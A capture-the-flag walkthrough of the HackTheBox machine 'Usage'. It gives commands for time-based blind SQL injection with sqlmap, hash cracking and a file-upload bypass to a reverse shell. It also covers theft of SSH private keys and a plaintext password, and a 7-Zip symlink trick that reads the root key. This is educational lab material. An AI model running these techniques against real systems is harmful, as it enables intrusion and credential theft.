
HTB: Usage
A time-based blind injection on a forgotten-password form gives up the admin hash one character at a time. An avatar upload checks the filename rather than the file, a monitoring config leaks a password in plaintext, and a 7-Zip argument quirk prints the root SSH key.
Looking at the nmap scan we have SSH and something hosted on port 80.

The redirect in the scan output tells us the site is name-based, so let's head over to the web app.

We have to add the usage.htb domain to our hosts file. There's also an admin subdomain, so let's add that one as well.

Over on the admin panel we drop a few injection payloads to test, and one of them gets a different response, so let's save the request and run it by sqlmap.
sqlmap -r admin_req --level 5 --risk 3 --batch

At the same time let's have a directory scan running to see if we can find any useful paths. feroxbuster was crashing the site, so I switched to gobuster.
gobuster dir -u http://usage.htb/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
--timeout 30s -b 403,404,503

We have a registration page, so let's make an account and log in. Checking Burp we seem to have a post-login endpoint, so let's save that request and run it through sqlmap too.

That one didn't work, but look, we're dealing with Laravel. Just like the login endpoint there's a forgotten-password endpoint, so let's point sqlmap at that request instead. The token in the form means sqlmap needs to be told how to refresh it on every attempt.
sqlmap -r post_forget_req \
--csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
--technique=T --threads=1 --batch -p email

We got a hit. Time-based blind is the slowest kind there is, since every single character has to be guessed one query at a time, and this is where most of the box goes. Let's grab the databases.
sqlmap -r post_forget_req \
--csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
--technique=T --threads=1 --batch -p email \
--dbs

Now let's dump the tables and look for an admin account.
sqlmap -r post_forget_req \
--csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
--technique=T --threads=1 --batch -p email \
-D usage_blog --tables
sqlmap -r post_forget_req \
--csrf-token="_token" --csrf-url="http://usage.htb/forget-password" \
--technique=T --threads=1 --batch -p email \
--time-sec=1 --predict-output --no-cast \
-D usage_blog -T admin_users -C email,password --dump

That only returned our own email from the test account. The administrator's row has a username but no email, so dumping the email column misses it. Let's ask for the username column directly with a custom query instead.
sqlmap -r post_forget_req \
--csrf-token=_token --csrf-url=http://usage.htb/forget-password \
--technique=T --batch -p email --time-sec=2 --no-cast \
--sql-query="SELECT GROUP_CONCAT(username,0x3a,password SEPARATOR 0x7c) FROM usage_blog.admin_users"

We finally got it to give us the admin hash. This is taking forever. It's bcrypt, so mode 3200, and let's crack it.
hashcat -m 3200 admin.hash /usr/share/wordlists/rockyou.txt

Success. Sixteen seconds to crack, after hours to extract. Let's log into the admin panel.
After fooling around in there we come across the settings for the admin account, and see we can upload a photo as an avatar. We create a reverse shell named with a jpg extension and capture the submit request in Burp.
![]()
In the intercepted request we change the filename back to a php extension. The check runs on the client side and on the name, not on the content, so renaming it in flight is enough.

Then we head over to the image link and we get a shell.
nc -lnvp 4444
python3 -c 'import pty;pty.spawn("/bin/bash")'

We're in. Heading over to the home of the user we get our user flag.

Now let's enumerate the user.
ls -la
That reveals an SSH directory, so we grab their private key and walk ourselves right in.

chmod 600 dash_id_rsa
ssh -i dash_id_rsa dash@usage.htb

Now we're locked in with a real shell. Let's check what other users are here.

There's a xander, and we can't access that account, so let's head back into the dash home and look properly.
ls -la

There's a monit config file that looks out of place. Let's check it out.
cat .monitrc

There's a plaintext password in the monitoring config. It's meant for the monit web interface, but let's try it against the other user.
su xander

And we're in. Now with that password we can check the sudo rights.
sudo -l

Seems like a custom script. Let's check it out.

Some sort of management tool, and the first option backs up the project. It shells out to 7-Zip to do that, and here's the trick: 7-Zip treats an argument beginning with @ as "read the list of files from this file". If we plant a symlink under that name pointing at a file we can't read, the archiver tries to parse the target as a file list and prints its contents back to us in the error output.
cd /var/www/html
touch @pwn
ln -s /root/.ssh/id_rsa pwn
sudo /usr/bin/usage_management

That prints the root key for us. Now we rebuild it on our Kali box and use it.
chmod 600 root_id_rsa
ssh -i root_id_rsa root@usage.htb

And we're in.
This box was time consuming with the time-based injection. After that it was pretty much smooth sailing.
